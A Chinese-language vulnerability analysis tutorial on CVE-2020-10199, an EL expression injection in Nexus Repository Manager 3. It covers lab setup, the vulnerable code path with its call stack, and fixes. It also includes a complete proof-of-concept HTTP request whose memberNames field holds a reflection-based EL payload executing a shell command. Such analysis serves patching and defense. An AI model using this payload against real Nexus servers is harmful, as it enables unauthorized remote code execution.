Nexus3 EL表达式注入浅析(CVE-2020-10199)
字数 1445 2025-08-20 18:17:53
Nexus3 EL表达式注入漏洞分析(CVE-2020-10199)教学文档
漏洞概述
Nexus Repository Manager 3是一款通用的软件包仓库管理服务。该漏洞存在于/service/rest/beta/repositories/go/group接口,攻击者可以通过发送精心构造的恶意JSON数据,在渲染数据时造成EL表达式注入,进而远程执行任意命令。
影响版本:Nexus Repository Manager OSS/Pro 3.x - 3.21.1
修复版本:Nexus Repository Manager OSS/Pro 3.21.2
风险等级:严重(9.1)
所需权限:低/高权限账号均可利用
EL表达式基础知识
EL表达式简介
EL(Expression Language)全名为表达式语言,主要用于:
- 替换JSP页面中的脚本表达式
<%= %> - 从各种类型的Web域中检索Java对象、获取数据
- 访问JavaBean属性、数组、List集合和Map集合等
EL主要功能
-
获取数据:
${标识符}- 从page、request、session、application四个域中查找对象
- 示例:
${name}等同于pageContext.findAttribute("name")
-
执行运算:
- 关系运算、逻辑运算和算术运算
- 示例:
${2+2}、${user!=null?user.name:""}
-
获取web对象:
- 11个隐含对象:
pageContext、pageScope、requestScope等 - 示例:
${param.name}获取请求参数
- 11个隐含对象:
-
调用Java方法:
- 语法:
${prefix:method(params)} - 需要自定义函数开发
- 语法:
EL表达式RCE原理
EL表达式若可控,可以通过反射机制执行任意命令:
${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/shell')}
漏洞环境搭建
- 拉取包含漏洞的nexus3镜像:
docker pull sonatype/nexus3:3.21.1
- 运行docker容器:
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.21.1
- 下载Nexus源码并切换到对应分支:
git clone https://github.com/sonatype/nexus-public.git
git checkout -b release-3.21.0-05 origin/release-3.21.0-05
- 配置IDEA远程调试,在
org.sonatype.nexus.bootstrap.osgi.DelegatingFilter#doFilter设置断点
漏洞复现
-
获取低权限账户的Cookie中的
NX-ANTI-CSRF-TOKEN和NXSESSIONID -
发送恶意请求:
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: test.com:8081
Content-Length: 293
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.289429876219083
Content-Type: application/json
Accept: */*
Origin: http://test.com:8081
Referer: http://test.com:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.289429876219083; NXSESSIONID=7e3ad549-6fcb-4952-9ace-29f71614bc28
Connection: close
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": [
"${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/shell')}"
]
}
}
- 命令执行结果:在/tmp目录下创建shell文件
漏洞分析
请求处理流程
-
请求路径
/service/rest/beta/repositories/go/group由GolangGroupRepositoriesApiResource类处理 -
根据
@POST注解调用createRepository方法:
org.sonatype.nexus.repository.golang.rest.GolangGroupRepositoriesApiResource#createRepository
- 调用父类方法:
org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource#createRepository
- 关键验证方法:
org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource#validateGroupMembers
漏洞触发过程
-
从请求中提取
memberNames数组,包含恶意EL表达式 -
当
repositoryManager.get(repositoryName)返回NULL时,进入else分支:
constraintViolationFactory.createViolation
- 创建
HelperBean对象,将恶意EL表达式作为参数:
org.sonatype.nexus.validation.ConstraintViolationFactory.HelperBean#HelperBean
- 调用
validate方法进行校验,最终触发EL表达式解析:
org.hibernate.validator.internal.engine.messageinterpolation.ElTermResolver#interpolate
关键调用栈
interpolate:67, ElTermResolver
interpolate:64, InterpolationTerm
interpolate:112, ResourceBundleMessageInterpolator
interpolateExpression:451, AbstractMessageInterpolator
interpolateMessage:347, AbstractMessageInterpolator
interpolate:286, AbstractMessageInterpolator
interpolate:313, AbstractValidationContext
addConstraintFailure:230, AbstractValidationContext
validateConstraints:79, ConstraintTree
doValidateConstraint:130, MetaConstraint
validateConstraint:123, MetaConstraint
validateMetaConstraint:555, ValidatorImpl
validateConstraintsForSingleDefaultGroupElement:518, ValidatorImpl
validateConstraintsForDefaultGroup:488, ValidatorImpl
validateConstraintsForCurrentGroup:450, ValidatorImpl
validateInContext:400, ValidatorImpl
validate:172, ValidatorImpl
createViolation:64, ConstraintViolationFactory
validateGroupMembers:96, AbstractGroupRepositoriesApiResource
createRepository:66, AbstractGroupRepositoriesApiResource
createRepository:83, GolangGroupRepositoriesApiResource
修复建议
-
升级到Nexus Repository Manager OSS/Pro 3.21.2或更高版本
-
对用户输入进行严格的过滤和验证,特别是EL表达式相关字符
-
限制低权限用户的访问权限